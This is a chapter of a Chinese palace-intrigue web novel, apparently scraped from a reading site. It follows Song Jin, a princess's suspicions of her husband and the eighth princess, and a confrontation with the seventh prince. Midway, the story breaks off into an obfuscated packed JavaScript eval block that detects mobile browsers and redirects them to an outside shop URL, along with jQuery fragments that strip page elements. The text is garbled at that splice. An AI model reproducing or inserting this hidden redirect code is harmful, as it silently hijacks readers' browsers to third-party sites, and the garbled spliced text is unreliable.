55. 055

作品:《和反派互听心声后

    “自然是……”宋今抬眸和他对视,猛地意识到方才听到的是心声,硬生生把嘴里的话拐了个弯。


    “……螳螂捕蝉黄雀在后,杨朝雪再做足准备,也有露出马脚的时候。”


    崔怀寄缄默,直直盯着她。


    “侯爷?”


    宋今被他盯得心里发毛。


    回想方才说的话,应该不会被发现什么吧?


    “姩姩说的是,”崔怀寄不动声色收回探究的目光,“太子身边的蛀虫,是该清一清了。”


    [看来是我多虑了,姩姩怎么会听见我的心声呢。]


    [想来是谁走漏了风声,回去得严查一番。]


    宋今松了口气。


    还好还好。


    以后还是仔细些吧。


    *


    冬日的天总是昏沉的。


    天气越发冷了。


    徐涟儿坐在窗边,丝丝凉意窗沿爬上。


    眼睫轻轻颤动。


    “驸马今日在府上吗?”


    侍奉的宫女看出她这几日心情不佳,觑着她脸色回话。


    “驸马近日出门得早,公主若是想驸马,奴婢派人去传话。”


    “不必了。”


    徐涟儿垂眼,再次沉默看着自己桌面上摊开的账本。


    她手里的那些铺子,个个都不是省油的灯,内务府见不惯她好,她偏要把这些铺子经营起来。


    晌午的时候,宫女来话,说驸马过来了。


    徐涟儿默默放下核对一半的账本。


    王安霖感觉得出她这些日子情绪不高,特意抽出休息的时间回来。


    “公主今日胃口如何?”


    徐涟儿看着宫女布菜,不冷不淡道:“尚可。驸马怎么突然回来了?我记得你平日是不回来的。”


    王安霖热情给她夹菜,“公主一个人打理铺子辛苦,我不懂这些,便想着多回来陪陪你。”


    徐涟儿不说话。


    气氛一时僵硬起来。


    王安霖慢慢放下手,侧眸看着自己明艳娇俏的妻子,内心忽然生出一股无力感。


    他已经试着开解这位内心敏感的公主,知道她在宫里生活不如意,也愿意真心以待共度往后的岁月。


    可这位公主对他,始终保留一丝警惕。


    “公主对我,似乎越来越冷淡了……是我哪里做得不对吗?”


    徐涟儿明亮的眸子注视他,“驸马早出晚归操持公主府,有何不对之处?我自知无趣呆板,驸马若是想纳妾,我亦不会阻拦。”


    “……”


    王安霖看不懂她了。


    分明他们之间相处的很好,为何会变成今日这样?


    纳妾?


    他从未有过一丝这种想法!


    “这种话公主莫要再说了,”王安霖脸色微沉,尽量控制自己温柔的语气,“公主现下心烦我,我不出现便是。”


    语毕,他起身离开。


    屋内瞬间安静下来。


    徐涟儿茫然望着他的背影。


    她……说错话了?


    可是他与徐怀捻亲近在先,她都同意徐怀捻进府了啊!


    徐涟儿忽然就没了胃口,“都撤了吧……”


    *


    晌午将过。


    宋今尚在自己铺子里处理账务,就看见徐涟儿哭红着眼睛朝她走过来。


    她立马屏退周围的人。


    青雾端上热茶。


    “大公主这是出了何事?”


    徐涟儿低头不语。


    刚沏好的热茶很烫,指尖被烫的发抖。


    她眨眨眼,豆大的泪珠立时砸下。


    “我不知道该怎么办了……”


    她哽咽着说完自己和王安霖午膳冷战的事。


    在她看来,王安霖只言不留离开的行为,是在对她冷战。


    她想找人倾诉,可兜兜转转想来,似乎也只有不甚熟稔的宋今可说。


    “大公主怎么会想让驸马纳妾呢?”


    徐涟儿吸了吸鼻子,“昨日,你我都瞧见了,他和我八妹妹举止亲昵,我便想着,他们若是真有意,将八妹妹迎进府里也没什么的……就趁着他回来拿纳妾试探一下。”


    谁知王安霖反应那么大,竟是直接离开公主府回去当值。


    并说不要再提此事。


    徐涟儿越想越难受,她非是不讲道理的人,他们真有情意,当初就不要答应娶她啊!


    反正她嫁给谁都一样的。


    “或许真的是大公主想错了?”宋今轻声相劝,“许是……驸马和八公主是因为什么事走在一起的……”


    他们坐在二楼靠窗的房间。


    徐涟儿隐忍垂泪,听不下她的话,便把脑袋扭到一边。


    这下好了,直接看到楼下的一对男女。


    正是王安霖和徐怀捻。


    二人站在卖糖人的摊子前,相顾言笑,好一登对的佳人。


    徐怀捻似有所感,倏然抬起头,不偏不倚和她对视。


    手里拿着王安霖为她买的兔子糖人。


    她歪头,笑嘻嘻地挽住王安霖的胳膊,踮起脚贴在他耳边说了什么。


    余光却是朝她挑衅一笑。


    徐涟儿隐忍的泪水彻底绷不住。


    说话的声音都在颤抖。


    “他们……他们……”


    宋今连忙关上窗户。


    怎么回回都能撞见呢?


    “大公主,我觉得还是找驸马当面问清楚吧……”


    徐怀捻最后的那个眼神,分明是在刺激她。


    宋今担心她刺激过度,不分黑白偏执认定一点。


    “还要问什么?”徐涟儿的指尖又红又肿,她似无所知,含泪而笑,“已经这么清白的摆在我眼前了,若驸马无意,那徐怀捻如此亲近他,他为何不拒绝?!”


    她找不出借口蒙蔽自己。


    宋今见劝说无果,只得叹了口气。


    皇室的人,真是个个执拗。


    徐涟儿垂泪,唇边的笑容是那般讽刺。


    驸马,是你背叛我在先的。


    *


    宽慰完徐涟儿,宋今收到秦绾的来信,索性将铺子里剩下的事便交给青雾去处理。


    “秦掌柜这次发现了什么?”


    宋今马不停蹄赶过来,连口热茶都没喝上。


    秦绾瞧她鼻尖通红,顺手给她捎来汤婆子。


    “上次同你说杨朝雪小产,她虽对外隐瞒,但通过我的调查,这小产里,有一半是她自愿的。”


    “哦?”宋今坐直身子,“秦掌柜此话何解?”


    “小娘子可记得陛下的第八女,徐怀捻?”秦绾素手托腮,漫不经心欣赏自己新涂的指甲,“我调查到,杨朝雪的小产,有她的手笔。”


    “这八公主年纪小,心思却是不比她那几个皇兄少。”


    秦绾摇头惊叹几句。


    这八公主徐怀捻,是公主里年纪最小的一个,性子天真烂漫,倒也得陛下宠爱。


    不久前她和王安霖在一起的画面,尚在眼前飘过。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252711|143638||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    宋今拧眉,一些被她忽略的细节油然浮出。


    徐涟儿大婚的嫁衣,徐怀捻似乎接触过。


    因着她年纪小性子天真的缘故,谁都没有去怀疑过她。


    宋今不得不赞叹她隐藏的真深。


    “哦,我差点忘了。”


    秦绾的声音陡然拉回她的思绪。


    “虽然线索有些模糊,但小娘子接触的那位大公主,好似也参与进来了。”


    宋今怔住,“她也动手了?”


    徐涟儿为何要动手?


    她与杨朝雪并无过节,又不在意权势,是最不争不抢的一个。


    这样的人,竟然主动将自己陷入泥沼……


    *


    宋今思绪繁乱回到铺子里。


    早就等着她回来的青雾忙不迭迎上来。


    “娘子,七皇子在里面等你,我怎么赶都赶不走!”


    青雾气得直跳脚。


    好说歹说都赶不走人,比狗皮膏药还粘人。


    “赶不走便赶不走,我倒要看看他想做什么。”


    宋今现下对徐南珩的耐心几乎为零。


    可以说是厌烦他的出现。


    上次给她下毒的事她可记着呢,总要还回来的。


    “七殿下何时学会这般无赖了?”


    宋今冷脸坐下。


    徐南珩面露喜色,“今今,你离开盛安怎的也不说一声?听说你去绥州,有没有受伤?”


    “殿下,我去哪儿似乎不需要知会你吧?”


    徐南珩已经能无视她夹枪带棒的话了。


    “今今,我想明白了,人怎么可能一夕之间能全无爱意。定是我哪儿惹你不快,我会改的,我们还像从前那样,好吗?”


    简直对牛弹琴。


    宋今气得胸口闷痛,直言道:“殿下莫不是忘了那位小产的人,她肚子里怀的可是你的骨血!”


    徐南珩缄默。


    杨朝雪怀的是谁的孩子,除了他自己,宋今是怎么知道的?


    好在孩子已经没了,即便宋今想以此做文章,也无计可施。


    徐南珩神色不变,笑容依旧温温的,“今今你在胡说什么,她肚子里是太子的孩子,与我何干?是谁在你耳边说了什么吗?”


    宋今震惊他的无耻。


    女子小产对身体的损害多大?!


    他有何脸面说出与他无关这几个字的?


    “徐南珩!”宋今第一次直呼他的名字。


    徐南珩脸色肉眼可见变得难看。


    “我曾经以为你对我虽然是利用,至少不是什么无情之人,杨朝雪她肚子里怀的是谁的孩子你有何可欺骗自己的?女子怀孕不易,如今她小产你在这里对我献媚,你把她置于何地?!”


    “徐南珩,你叫我觉得恶心,叫我觉得后悔喜欢过你!”


    她当初真是瞎了眼觉得他好!


    杨朝雪喜欢,那便喜欢好了!


    宋今气得浑身发抖,不想在看见她,头也不回离开。


    青雾守在外边,看见她气鼓鼓出来,立马追上去。


    与此同时,杨朝雪听到他去宋今,气得把常玥送来的补品全扔了。


    小产于她伤了根本,太医诊断今后恐再难有孕。


    她闭门不出,仍谁来都不见。


    “宋今!你们都退婚了为何还要纠缠不休!”


    “我的孩子!都是你们害的,我决计不会放过你们!”


    “哈哈哈,南珩哥哥,你那在乎她,我偏不如你的意!”